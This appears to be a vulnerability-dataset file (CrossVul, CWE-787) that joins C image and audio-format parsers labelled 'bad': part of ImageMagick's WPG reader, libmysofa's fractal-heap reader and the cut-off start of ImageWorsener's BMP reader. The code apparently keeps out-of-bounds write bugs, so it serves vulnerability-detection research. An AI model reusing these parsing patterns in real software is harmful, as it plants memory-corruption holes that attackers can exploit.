Rec.RecordLength-8,exception); break; case 0x14: /* bitmap type 2 */ BitmapHeader2.RotAngle=ReadBlobLSBShort(image); BitmapHeader2.LowLeftX=ReadBlobLSBShort(image); BitmapHeader2.LowLeftY=ReadBlobLSBShort(image); BitmapHeader2.UpRightX=ReadBlobLSBShort(image); BitmapHeader2.UpRightY=ReadBlobLSBShort(image); BitmapHeader2.Width=ReadBlobLSBShort(image); BitmapHeader2.Height=ReadBlobLSBShort(image); if ((BitmapHeader2.Width == 0) || (BitmapHeader2.Height == 0)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); BitmapHeader2.Depth=ReadBlobLSBShort(image); BitmapHeader2.HorzRes=ReadBlobLSBShort(image); BitmapHeader2.VertRes=ReadBlobLSBShort(image); image->units=PixelsPerCentimeterResolution; image->page.width=(unsigned int) ((BitmapHeader2.LowLeftX-BitmapHeader2.UpRightX)/470.0); image->page.height=(unsigned int) ((BitmapHeader2.LowLeftX-BitmapHeader2.UpRightY)/470.0); image->page.x=(int) (BitmapHeader2.LowLeftX/470.0); image->page.y=(int) (BitmapHeader2.LowLeftX/470.0); if(BitmapHeader2.HorzRes && BitmapHeader2.VertRes) { image->x_resolution=BitmapHeader2.HorzRes/470.0; image->y_resolution=BitmapHeader2.VertRes/470.0; } image->columns=BitmapHeader2.Width; image->rows=BitmapHeader2.Height; bpp=BitmapHeader2.Depth; UnpackRaster: if ((image->colors == 0) && (bpp != 24)) { image->colors=one << bpp; if (!AcquireImageColormap(image,image->colors)) { NoMemory: ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } /* printf("Load default colormap \n"); */ for (i=0; (i < (int) image->colors) && (i < 256); i++) { image->colormap[i].red=ScaleCharToQuantum(WPG1_Palette[i].Red); image->colormap[i].green=ScaleCharToQuantum(WPG1_Palette[i].Green); image->colormap[i].blue=ScaleCharToQuantum(WPG1_Palette[i].Blue); } } else { if (bpp < 24) if ( (image->colors < (one << bpp)) && (bpp != 24) ) image->colormap=(PixelPacket *) ResizeQuantumMemory( image->colormap,(size_t) (one << bpp), sizeof(*image->colormap)); } if (bpp == 1) { if(image->colormap[0].red==0 && image->colormap[0].green==0 && image->colormap[0].blue==0 && image->colormap[1].red==0 && image->colormap[1].green==0 && image->colormap[1].blue==0) { /* fix crippled monochrome palette */ image->colormap[1].red = image->colormap[1].green = image->colormap[1].blue = QuantumRange; } } if(UnpackWPGRaster(image,bpp) < 0) /* The raster cannot be unpacked */ { DecompressionFailed: ThrowReaderException(CoderError,"UnableToDecompressImage"); } if(Rec.RecType==0x14 && BitmapHeader2.RotAngle!=0 && !image_info->ping) { /* flop command */ if(BitmapHeader2.RotAngle & 0x8000) { Image *flop_image; flop_image = FlopImage(image, exception); if (flop_image != (Image *) NULL) { DuplicateBlob(flop_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flop_image); } } /* flip command */ if(BitmapHeader2.RotAngle & 0x2000) { Image *flip_image; flip_image = FlipImage(image, exception); if (flip_image != (Image *) NULL) { DuplicateBlob(flip_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flip_image); } } /* rotate command */ if(BitmapHeader2.RotAngle & 0x0FFF) { Image *rotate_image; rotate_image=RotateImage(image,(BitmapHeader2.RotAngle & 0x0FFF), exception); if (rotate_image != (Image *) NULL) { DuplicateBlob(rotate_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,rotate_image); } } } /* Allocate next image structure. */ AcquireNextImage(image_info,image); image->depth=8; if (image->next == (Image *) NULL) goto Finish; image=SyncNextImageInList(image); image->columns=image->rows=0; image->colors=0; break; case 0x1B: /* Postscript l2 */ if(Rec.RecordLength>0x3C) image=ExtractPostscript(image,image_info, TellBlob(image)+0x3C, /* skip PS l2 header in the wpg */ (ssize_t) Rec.RecordLength-0x3C,exception); break; } } break; case 2: /* WPG level 2 */ (void) memset(CTM,0,sizeof(CTM)); StartWPG.PosSizePrecision = 0; while(!EOFBlob(image)) /* object parser loop */ { (void) SeekBlob(image,Header.DataOffset,SEEK_SET); if(EOFBlob(image)) break; Rec2.Class=(i=ReadBlobByte(image)); if(i==EOF) break; Rec2.RecType=(i=ReadBlobByte(image)); if(i==EOF) break; Rd_WP_DWORD(image,&Rec2.Extension); Rd_WP_DWORD(image,&Rec2.RecordLength); if(EOFBlob(image)) break; Header.DataOffset=TellBlob(image)+Rec2.RecordLength; switch(Rec2.RecType) { case 1: StartWPG.HorizontalUnits=ReadBlobLSBShort(image); StartWPG.VerticalUnits=ReadBlobLSBShort(image); StartWPG.PosSizePrecision=ReadBlobByte(image); break; case 0x0C: /* Color palette */ WPG_Palette.StartIndex=ReadBlobLSBShort(image); WPG_Palette.NumOfEntries=ReadBlobLSBShort(image); image->colors=WPG_Palette.NumOfEntries; if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); for (i=WPG_Palette.StartIndex; i < (int)WPG_Palette.NumOfEntries; i++) { image->colormap[i].red=ScaleCharToQuantum((char) ReadBlobByte(image)); image->colormap[i].green=ScaleCharToQuantum((char) ReadBlobByte(image)); image->colormap[i].blue=ScaleCharToQuantum((char) ReadBlobByte(image)); (void) ReadBlobByte(image); /*Opacity??*/ } break; case 0x0E: Bitmap2Header1.Width=ReadBlobLSBShort(image); Bitmap2Header1.Height=ReadBlobLSBShort(image); if ((Bitmap2Header1.Width == 0) || (Bitmap2Header1.Height == 0)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); Bitmap2Header1.Depth=ReadBlobByte(image); Bitmap2Header1.Compression=ReadBlobByte(image); if(Bitmap2Header1.Compression > 1) continue; /*Unknown compression method */ switch(Bitmap2Header1.Depth) { case 1: bpp=1; break; case 2: bpp=2; break; case 3: bpp=4; break; case 4: bpp=8; break; case 8: bpp=24; break; default: continue; /*Ignore raster with unknown depth*/ } image->columns=Bitmap2Header1.Width; image->rows=Bitmap2Header1.Height; if ((image->colors == 0) && (bpp != 24)) { size_t one; one=1; image->colors=one << bpp; if (!AcquireImageColormap(image,image->colors)) goto NoMemory; } else { if(bpp < 24) if( image->colors<(one << bpp) && bpp!=24 ) image->colormap=(PixelPacket *) ResizeQuantumMemory( image->colormap,(size_t) (one << bpp), sizeof(*image->colormap)); } switch(Bitmap2Header1.Compression) { case 0: /*Uncompressed raster*/ { ldblk=(ssize_t) ((bpp*image->columns+7)/8); BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk,sizeof(*BImgBuff)); if (BImgBuff == (unsigned char *) NULL) goto NoMemory; for(i=0; i< (ssize_t) image->rows; i++) { (void) ReadBlob(image,ldblk,BImgBuff); InsertRow(BImgBuff,i,image,bpp); } if(BImgBuff) BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff);; break; } case 1: /*RLE for WPG2 */ { if( UnpackWPG2Raster(image,bpp) < 0) goto DecompressionFailed; break; } } if(CTM[0][0]<0 && !image_info->ping) { /*?? RotAngle=360-RotAngle;*/ Image *flop_image; flop_image = FlopImage(image, exception); if (flop_image != (Image *) NULL) { DuplicateBlob(flop_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flop_image); } /* Try to change CTM according to Flip - I am not sure, must be checked. Tx(0,0)=-1; Tx(1,0)=0; Tx(2,0)=0; Tx(0,1)= 0; Tx(1,1)=1; Tx(2,1)=0; Tx(0,2)=(WPG._2Rect.X_ur+WPG._2Rect.X_ll); Tx(1,2)=0; Tx(2,2)=1; */ } if(CTM[1][1]<0 && !image_info->ping) { /*?? RotAngle=360-RotAngle;*/ Image *flip_image; flip_image = FlipImage(image, exception); if (flip_image != (Image *) NULL) { DuplicateBlob(flip_image,image); (void) RemoveLastImageFromList(&image); AppendImageToList(&image,flip_image); } /* Try to change CTM according to Flip - I am not sure, must be checked. float_matrix Tx(3,3); Tx(0,0)= 1; Tx(1,0)= 0; Tx(2,0)=0; Tx(0,1)= 0; Tx(1,1)=-1; Tx(2,1)=0; Tx(0,2)= 0; Tx(1,2)=(WPG._2Rect.Y_ur+WPG._2Rect.Y_ll); Tx(2,2)=1; */ } /* Allocate next image structure. */ AcquireNextImage(image_info,image); image->depth=8; if (image->next == (Image *) NULL) goto Finish; image=SyncNextImageInList(image); image->columns=image->rows=1; image->colors=0; break; case 0x12: /* Postscript WPG2*/ i=ReadBlobLSBShort(image); if(Rec2.RecordLength > (unsigned int) i) image=ExtractPostscript(image,image_info, TellBlob(image)+i, /*skip PS header in the wpg2*/ (ssize_t) (Rec2.RecordLength-i-2),exception); break; case 0x1B: /*bitmap rectangle*/ WPG2Flags = LoadWPG2Flags(image,StartWPG.PosSizePrecision,NULL,&CTM); (void) WPG2Flags; break; } } break; default: { ThrowReaderException(CoderError,"DataEncodingSchemeIsNotSupported"); } } status=SetImageExtent(image,image->columns,image->rows); if (status == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } Finish: (void) CloseBlob(image); { Image *p; ssize_t scene=0; /* Rewind list, removing any empty images while rewinding. */ p=image; image=NULL; while (p != (Image *) NULL) { Image *tmp=p; if ((p->rows == 0) || (p->columns == 0)) { p=p->previous; DeleteImageFromList(&tmp); } else { image=p; p=p->previous; } } /* Fix scene numbers. */ for (p=image; p != (Image *) NULL; p=p->next) p->scene=(size_t) scene++; } if (image == (Image *) NULL) ThrowReaderException(CorruptImageError, "ImageFileDoesNotContainAnyImageData"); return(image); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r W P G I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Method RegisterWPGImage adds attributes for the WPG image format to % the list of supported formats. The attributes include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterWPGImage method is: % % size_t RegisterWPGImage(void) % */ ModuleExport size_t RegisterWPGImage(void) { MagickInfo *entry; entry=SetMagickInfo("WPG"); entry->decoder=(DecodeImageHandler *) ReadWPGImage; entry->magick=(IsImageFormatHandler *) IsWPG; entry->description=AcquireString("Word Perfect Graphics"); entry->module=ConstantString("WPG"); entry->seekable_stream=MagickTrue; (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r W P G I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Method UnregisterWPGImage removes format registrations made by the % WPG module from the list of supported formats. % % The format of the UnregisterWPGImage method is: % % UnregisterWPGImage(void) % */ ModuleExport void UnregisterWPGImage(void) { (void) UnregisterMagickInfo("WPG"); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5304_0
crossvul-cpp_data_bad_1338_0
/* Copyright 2016 Christian Hoene, Symonics GmbH */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> #include <errno.h> #include <assert.h> #include <inttypes.h> #include "reader.h" static int log2i(int a) { return round(log2(a)); } static int directblockRead(struct READER *reader, struct DATAOBJECT *dataobject, struct FRACTALHEAP *fractalheap) { char buf[4], *name, *value; int size, offset_size, length_size, err, len; uint8_t typeandversion; uint64_t unknown, heap_header_address, block_offset, block_size, offset, length; long store; struct DIR *dir; struct MYSOFA_ATTRIBUTE *attr; UNUSED(offset); UNUSED(block_size); UNUSED(block_offset); /* read signature */ if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "FHDB", 4)) { log("cannot read signature of fractal heap indirect block\n"); return MYSOFA_INVALID_FORMAT; } log("%08" PRIX64 " %.4s\n", (uint64_t )ftell(reader->fhd) - 4, buf); if (fgetc(reader->fhd) != 0) { log("object FHDB must have version 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } /* ignore heap_header_address */ if (fseek(reader->fhd, reader->superblock.size_of_offsets, SEEK_CUR) < 0) return errno; size = (fractalheap->maximum_heap_size + 7) / 8; block_offset = readValue(reader, size); if (fractalheap->flags & 2) if (fseek(reader->fhd, 4, SEEK_CUR)) return errno; offset_size = ceilf(log2f(fractalheap->maximum_heap_size) / 8); if (fractalheap->maximum_direct_block_size < fractalheap->maximum_size) length_size = ceilf(log2f(fractalheap->maximum_direct_block_size) / 8); else length_size = ceilf(log2f(fractalheap->maximum_size) / 8); log(" %d %" PRIu64 " %d\n",size,block_offset,offset_size); /* * 00003e00 00 46 48 44 42 00 40 02 00 00 00 00 00 00 00 00 |.FHDB.@.........| 00003e10 00 00 00 83 8d ac f6 >03 00 0c 00 08 00 04 00 00 |................| 00003e20 43 6f 6e 76 65 6e 74 69 6f 6e 73 00 13 00 00 00 |Conventions.....| 00003e30 04 00 00 00 02 00 00 00 53 4f 46 41< 03 00 08 00 |........SOFA....| 00003e40 08 00 04 00 00 56 65 72 73 69 6f 6e 00 13 00 00 |.....Version....| 00003e50 00 03 00 00 00 02 00 00 00 30 2e 36 03 00 10 00 |.........0.6....| 00003e60 08 00 04 00 00 53 4f 46 41 43 6f 6e 76 65 6e 74 |.....SOFAConvent| 00003e70 69 6f 6e 73 00 13 00 00 00 13 00 00 00 02 00 00 |ions............| 00003e80 00 53 69 6d 70 6c 65 46 72 65 65 46 69 65 6c 64 |.SimpleFreeField| 00003e90 48 52 49 52 03 00 17 00 08 00 04 00 00 53 4f 46 |HRIR.........SOF| 00003ea0 41 43 6f 6e 76 65 6e 74 69 6f 6e 73 56 65 72 73 |AConventionsVers| 00003eb0 69 6f 6e 00 13 00 00 00 03 00 00 00 02 00 00 00 |ion.............| * */ do { typeandversion = (uint8_t) fgetc(reader->fhd); offset = readValue(reader, offset_size); length = readValue(reader, length_size); if (offset > 0x10000000 || length > 0x10000000) return MYSOFA_UNSUPPORTED_FORMAT; log(" %d %4" PRIX64 " %" PRIX64 " %08lX\n",typeandversion,offset,length,ftell(reader->fhd)); /* TODO: for the following part, the specification is incomplete */ if (typeandversion == 3) { /* * this seems to be a name and value pair */ if (readValue(reader, 5) != 0x0000040008) { log("FHDB type 3 unsupported values"); return MYSOFA_UNSUPPORTED_FORMAT; } if (!(name = malloc(length+1))) return MYSOFA_NO_MEMORY; if (fread(name, 1, length, reader->fhd) != length) { free(name); return MYSOFA_READ_ERROR; } name[length]=0; if (readValue(reader, 4) != 0x00000013) { log("FHDB type 3 unsupported values"); free(name); return MYSOFA_UNSUPPORTED_FORMAT; } len = (int) readValue(reader, 2); if (len > 0x1000 || len < 0) { free(name); return MYSOFA_UNSUPPORTED_FORMAT; } /* TODO: Get definition of this field */ unknown = readValue(reader, 6); if (unknown == 0x000000020200) value = NULL; else if (unknown == 0x000000020000) { if (!(value = malloc(len + 1))) { free(name); return MYSOFA_NO_MEMORY; } if (fread(value, 1, len, reader->fhd) != len) { free(value); free(name); return MYSOFA_READ_ERROR; } value[len] = 0; } else if (unknown == 0x20000020000) { if (!(value = malloc(5))) { free(name); return MYSOFA_NO_MEMORY; } strcpy(value, ""); } else { log("FHDB type 3 unsupported values: %12" PRIX64 "\n",unknown); free(name); /* TODO: return MYSOFA_UNSUPPORTED_FORMAT; */ return MYSOFA_OK; } log(" %s = %s\n", name, value); attr = malloc(sizeof(struct MYSOFA_ATTRIBUTE)); attr->name = name; attr->value = value; attr->next = dataobject->attributes; dataobject->attributes = attr; } else if (typeandversion == 1) { /* * pointer to another data object */ unknown = readValue(reader, 6); if (unknown) { log("FHDB type 1 unsupported values\n"); return MYSOFA_UNSUPPORTED_FORMAT; } len = fgetc(reader->fhd); if (len < 0) return MYSOFA_READ_ERROR; assert(len < 0x100); if (!(name = malloc(len + 1))) return MYSOFA_NO_MEMORY; if (fread(name, 1, len, reader->fhd) != len) { free(name); return MYSOFA_READ_ERROR; } name[len] = 0; heap_header_address = readValue(reader, reader->superblock.size_of_offsets); log("\nfractal head type 1 length %4" PRIX64 " name %s address %" PRIX64 "\n", length, name, heap_header_address); dir = malloc(sizeof(struct DIR)); if (!dir) { free(name); return MYSOFA_NO_MEMORY; } memset(dir, 0, sizeof(*dir)); dir->next = dataobject->directory; dataobject->directory = dir; store = ftell(reader->fhd); if (fseek(reader->fhd, heap_header_address, SEEK_SET)) { free(name); return errno; } err = dataobjectRead(reader, &dir->dataobject, name); if (err) { return err; } if (store < 0) { return errno; } if (fseek(reader->fhd, store, SEEK_SET) < 0) return errno; } else if (typeandversion != 0) { /* TODO is must be avoided somehow */ log("fractal head unknown type %d\n", typeandversion); /* return MYSOFA_UNSUPPORTED_FORMAT; */ return MYSOFA_OK; } } while (typeandversion != 0); return MYSOFA_OK; } /* III.G. Disk Format: Level 1G - Fractal Heap * indirect block */ static int indirectblockRead(struct READER *reader, struct DATAOBJECT *dataobject, struct FRACTALHEAP *fractalheap, uint64_t iblock_size) { int size, nrows, max_dblock_rows, k, n, err; uint32_t filter_mask; uint64_t heap_header_address, block_offset, child_direct_block = 0, size_filtered, child_indirect_block; long store; char buf[4]; UNUSED(size_filtered); UNUSED(heap_header_address); UNUSED(filter_mask); /* read signature */ if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "FHIB", 4)) { log("cannot read signature of fractal heap indirect block\n"); return MYSOFA_INVALID_FORMAT; } log("%08" PRIX64 " %.4s\n", (uint64_t )ftell(reader->fhd) - 4, buf); if (fgetc(reader->fhd) != 0) { log("object FHIB must have version 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } /* ignore it */ heap_header_address = readValue(reader, reader->superblock.size_of_offsets); size = (fractalheap->maximum_heap_size + 7) / 8; block_offset = readValue(reader, size); if (block_offset) { log("FHIB block offset is not 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } /* The number of rows of blocks, nrows, in an indirect block of size iblock_size is given by the following expression: */ nrows = (log2i(iblock_size) - log2i(fractalheap->starting_block_size)) + 1; /* The maximum number of rows of direct blocks, max_dblock_rows, in any indirect block of a fractal heap is given by the following expression: */ max_dblock_rows = (log2i(fractalheap->maximum_direct_block_size) - log2i(fractalheap->starting_block_size)) + 2; /* Using the computed values for nrows and max_dblock_rows, along with the Width of the doubling table, the number of direct and indirect block entries (K and N in the indirect block description, below) in an indirect block can be computed: */ if (nrows < max_dblock_rows) k = nrows * fractalheap->table_width; else k = max_dblock_rows * fractalheap->table_width; /* If nrows is less than or equal to max_dblock_rows, N is 0. Otherwise, N is simply computed: */ n = k - (max_dblock_rows * fractalheap->table_width); while (k > 0) { child_direct_block = readValue(reader, reader->superblock.size_of_offsets); if (fractalheap->encoded_length > 0) { size_filtered = readValue(reader, reader->superblock.size_of_lengths); filter_mask = readValue(reader, 4); } log(">> %d %" PRIX64 " %d\n",k,child_direct_block,size); if (validAddress(reader, child_direct_block)) { store = ftell(reader->fhd); if (fseek(reader->fhd, child_direct_block, SEEK_SET) < 0) return errno; err = directblockRead(reader, dataobject, fractalheap); if (err) return err; if (store < 0) return MYSOFA_READ_ERROR; if (fseek(reader->fhd, store, SEEK_SET) < 0) return errno; } k--; } while (n > 0) { child_indirect_block = readValue(reader, reader->superblock.size_of_offsets); if (validAddress(reader, child_direct_block)) { store = ftell(reader->fhd); if (fseek(reader->fhd, child_indirect_block, SEEK_SET) < 0) return errno; err = indirectblockRead(reader, dataobject, fractalheap, iblock_size * 2); if (err) return err; if (store < 0) return MYSOFA_READ_ERROR; if (fseek(reader->fhd, store, SEEK_SET) < 0) return errno; } n--; } return MYSOFA_OK; } /* III.G. Disk Format: Level 1G - Fractal Heap 00000240 46 52 48 50 00 08 00 00 00 02 00 10 00 00 00 00 |FRHP............| 00000250 00 00 00 00 00 00 ff ff ff ff ff ff ff ff a3 0b |................| 00000260 00 00 00 00 00 00 1e 03 00 00 00 00 00 00 00 10 |................| 00000270 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 |................| 00000280 00 00 00 00 00 00 16 00 00 00 00 00 00 00 00 00 |................| 00000290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 |................| 000002b0 00 04 00 00 00 00 00 00 00 00 01 00 00 00 00 00 |................| 000002c0 28 00 01 00 29 32 00 00 00 00 00 00 01 00 60 49 |(...)2........`I| 000002d0 32 1d 42 54 48 44 00 08 00 02 00 00 11 00 00 00 |2.BTHD..........| */ int fractalheapRead(struct READER *reader, struct DATAOBJECT *dataobject, struct FRACTALHEAP *fractalheap) { int err; char buf[4]; /* read signature */ if (fread(buf, 1, 4, reader->fhd) != 4 || strncmp(buf, "FRHP", 4)) { log("cannot read signature of fractal heap\n"); return MYSOFA_UNSUPPORTED_FORMAT; } log("%" PRIX64 " %.4s\n", (uint64_t )ftell(reader->fhd) - 4, buf); if (fgetc(reader->fhd) != 0) { log("object fractal heap must have version 0\n"); return MYSOFA_UNSUPPORTED_FORMAT; } fractalheap->heap_id_length = (uint16_t) readValue(reader, 2); fractalheap->encoded_length = (uint16_t) readValue(reader, 2); if (fractalheap->encoded_length > 0x8000) return MYSOFA_UNSUPPORTED_FORMAT; fractalheap->flags = (uint8_t) fgetc(reader->fhd); fractalheap->maximum_size = (uint32_t) readValue(reader, 4); fractalheap->next_huge_object_id = readValue(reader, reader->superblock.size_of_lengths); fractalheap->btree_address_of_huge_objects = readValue(reader, reader->superblock.size_of_offsets); fractalheap->free_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->address_free_space = readValue(reader, reader->superblock.size_of_offsets); fractalheap->amount_managed_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->amount_allocated_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->offset_managed_space = readValue(reader, reader->superblock.size_of_lengths); fractalheap->number_managed_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->size_huge_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->number_huge_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->size_tiny_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->number_tiny_objects = readValue(reader, reader->superblock.size_of_lengths); fractalheap->table_width = (uint16_t) readValue(reader, 2); fractalheap->starting_block_size = readValue(reader, reader->superblock.size_of_lengths); fractalheap->maximum_direct_block_size = readValue(reader, reader->superblock.size_of_lengths); fractalheap->maximum_heap_size = (uint16_t) readValue(reader, 2); fractalheap->starting_row = (uint16_t) readValue(reader, 2); fractalheap->address_of_root_block = readValue(reader, reader->superblock.size_of_offsets); fractalheap->current_row = (uint16_t) readValue(reader, 2); if (fractalheap->encoded_length > 0) { fractalheap->size_of_filtered_block = readValue(reader, reader->superblock.size_of_lengths); fractalheap->fitler_mask = (uint32_t) readValue(reader, 4); fractalheap->filter_information = malloc(fractalheap->encoded_length); if (!fractalheap->filter_information) return MYSOFA_NO_MEMORY; if (fread(fractalheap->filter_information, 1, fractalheap->encoded_length, reader->fhd) != fractalheap->encoded_length) { free(fractalheap->filter_information); return MYSOFA_READ_ERROR; } } if (fseek(reader->fhd, 4, SEEK_CUR) < 0) { /* skip checksum */ return MYSOFA_READ_ERROR; } if (fractalheap->number_huge_objects) { log("cannot handle huge objects\n"); return MYSOFA_UNSUPPORTED_FORMAT; } if (fractalheap->number_tiny_objects) { log("cannot handle tiny objects\n"); return MYSOFA_UNSUPPORTED_FORMAT; } if (validAddress(reader, fractalheap->address_of_root_block)) { if (fseek(reader->fhd, fractalheap->address_of_root_block, SEEK_SET) < 0) return errno; if (fractalheap->current_row) err = indirectblockRead(reader, dataobject, fractalheap, fractalheap->starting_block_size); else { err = directblockRead(reader, dataobject, fractalheap); } if (err) return err; } return MYSOFA_OK; } void fractalheapFree(struct FRACTALHEAP *fractalheap) { free(fractalheap->filter_information); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1338_0
crossvul-cpp_data_bad_3368_0
// imagew-bmp.c // Part of ImageWorsener, Copyright (c) 2011 by Jason Summers. // For more information, see the readme.txt file. #include "imagew-config.h" #include <stdio.h> // for SEEK_SET #include <stdlib.h> #include <string.h> #define IW_INCLUDE_UTIL_FUNCTIONS #include "imagew.h" #define IWBMP_BI_RGB 0 // = uncompressed #define IWBMP_BI_RLE8 1 #define IWBMP_BI_RLE4 2 #define IWBMP_BI_BITFIELDS 3 #define IWBMP_BI_JPEG 4 #define IWBMP_BI_PNG 5 #define IWBMPCS_CALIBRATED_RGB 0 #define IWBMPCS_DEVICE_RGB 1 // (Unconfirmed) #define IWBMPCS_DEVICE_CMYK 2 // (Unconfirmed) #define IWBMPCS_SRGB 0x73524742 #define IWBMPCS_WINDOWS 0x57696e20 #define IWBMPCS_PROFILE_LINKED 0x4c494e4b #define IWBMPCS_PROFILE_EMBEDDED 0x4d424544 static size_t iwbmp_calc_bpr(int bpp, size_t width) { return ((bpp*width+31)/32)*4; } struct iwbmprcontext { struct iw_iodescr *iodescr; struct iw_context *ctx; struct iw_image *img; int bmpversion; int width, height; int topdown; int has_fileheader; unsigned int bitcount; // bits per pixel unsigned int compression; // IWBMP_BI_* int uses_bitfields; // 'compression' is BI_BITFIELDS int has_alpha_channel; int bitfields_set; int need_16bit; unsigned int palette_entries; size_t fileheader_size; size_t infoheader_size; size_t bitfields_nbytes; // Bytes consumed by BITFIELDs, if not part of the header. size_t palette_nbytes; size_t bfOffBits; struct iw_palette palette; // For 16- & 32-bit images: unsigned int bf_mask[4]; int bf_high_bit[4]; int bf_low_bit[4]; int bf_bits_count[4]; // number of bits in each channel struct iw_csdescr csdescr; }; static int iwbmp_read(struct iwbmprcontext *rctx, iw_byte *buf, size_t buflen) { int ret; size_t bytesread = 0; ret = (*rctx->iodescr->read_fn)(rctx->ctx,rctx->iodescr, buf,buflen,&bytesread); if(!ret || bytesread!=buflen) { return 0; } return 1; } static int iwbmp_skip_bytes(struct iwbmprcontext *rctx, size_t n) { iw_byte buf[1024]; size_t still_to_read; size_t num_to_read; still_to_read = n; while(still_to_read>0) { num_to_read = still_to_read; if(num_to_read>1024) num_to_read=1024; if(!iwbmp_read(rctx,buf,num_to_read)) { return 0; } still_to_read -= num_to_read; } return 1; } static int iwbmp_read_file_header(struct iwbmprcontext *rctx) { iw_byte buf[14]; if(!iwbmp_read(rctx,buf,14)) return 0; rctx->fileheader_size = 14; if(buf[0]=='B' && buf[1]=='A') { // OS/2 Bitmap Array // TODO: This type of file can contain more than one BMP image. // We only support the first one. if(!iwbmp_read(rctx,buf,14)) return 0; rctx->fileheader_size += 14; } if(buf[0]=='B' && buf[1]=='M') { ; } else if((buf[0]=='C' && buf[1]=='I') || // OS/2 Color Icon (buf[0]=='C' && buf[1]=='P') || // OS/2 Color Pointer (buf[0]=='I' && buf[1]=='C') || // OS/2 Icon (buf[0]=='P' && buf[1]=='T')) // OS/2 Pointer { iw_set_error(rctx->ctx,"This type of BMP file is not supported"); return 0; } else { iw_set_error(rctx->ctx,"Not a BMP file"); return 0; } rctx->bfOffBits = iw_get_ui32le(&buf[10]); return 1; } // Read the 12-byte header of a Windows v2 BMP (also known as OS/2 v1 BMP). static int decode_v2_header(struct iwbmprcontext *rctx, const iw_byte *buf) { unsigned int nplanes; rctx->width = iw_get_ui16le(&buf[4]); rctx->height = iw_get_ui16le(&buf[6]); nplanes = iw_get_ui16le(&buf[8]); if(nplanes!=1) return 0; rctx->bitcount = iw_get_ui16le(&buf[10]); if(rctx->bitcount!=1 && rctx->bitcount!=4 && rctx->bitcount!=8 && rctx->bitcount!=24) { return 0; } if(rctx->bitcount<=8) { size_t palette_start, palette_end; rctx->palette_entries = 1<<rctx->bitcount; rctx->palette_nbytes = 3*rctx->palette_entries; // Since v2 BMPs have no direct way to indicate that the palette is not // full-sized, assume the palette ends no later than the start of the // bitmap bits. palette_start = rctx->fileheader_size + rctx->infoheader_size; palette_end = palette_start + rctx->palette_nbytes; if(rctx->bfOffBits >= palette_start+3 && rctx->bfOffBits < palette_end) { rctx->palette_entries = (unsigned int)((rctx->bfOffBits - palette_start)/3); rctx->palette_nbytes = 3*rctx->palette_entries; } } return 1; } // Read a Windows v3 or OS/2 v2 header. static int decode_v3_header_fields(struct iwbmprcontext *rctx, const iw_byte *buf) { unsigned int nplanes; int biXPelsPerMeter, biYPelsPerMeter; unsigned int biClrUsed = 0; //unsigned int biSizeImage; rctx->width = iw_get_i32le(&buf[4]); rctx->height = iw_get_i32le(&buf[8]); if(rctx->height<0) { rctx->height = -rctx->height; rctx->topdown = 1; } nplanes = iw_get_ui16le(&buf[12]); if(nplanes!=1) return 0; rctx->bitcount = iw_get_ui16le(&buf[14]); // We allow bitcount=2 because it's legal in Windows CE BMPs. if(rctx->bitcount!=1 && rctx->bitcount!=2 && rctx->bitcount!=4 && rctx->bitcount!=8 && rctx->bitcount!=16 && rctx->bitcount!=24 && rctx->bitcount!=32) { iw_set_errorf(rctx->ctx,"Bad or unsupported bit count (%d)",(int)rctx->bitcount); return 0; } if(rctx->infoheader_size<=16) { goto infoheaderdone; } rctx->compression = iw_get_ui32le(&buf[16]); if(rctx->compression==IWBMP_BI_BITFIELDS) { if(rctx->bitcount==1) { iw_set_error(rctx->ctx,"Huffman 1D compression not supported"); return 0; } else if(rctx->bitcount!=16 && rctx->bitcount!=32) { iw_set_error(rctx->ctx,"Bad or unsupported image type"); return 0; } // The compression field is overloaded: BITFIELDS is not a type of // compression. Un-overload it. rctx->uses_bitfields = 1; // The v4/v5 documentation for the "BitCount" field says that the // BITFIELDS data comes after the header, the same as with v3. // The v4/v5 documentation for the "Compression" field says that the // BITFIELDS data is stored in the 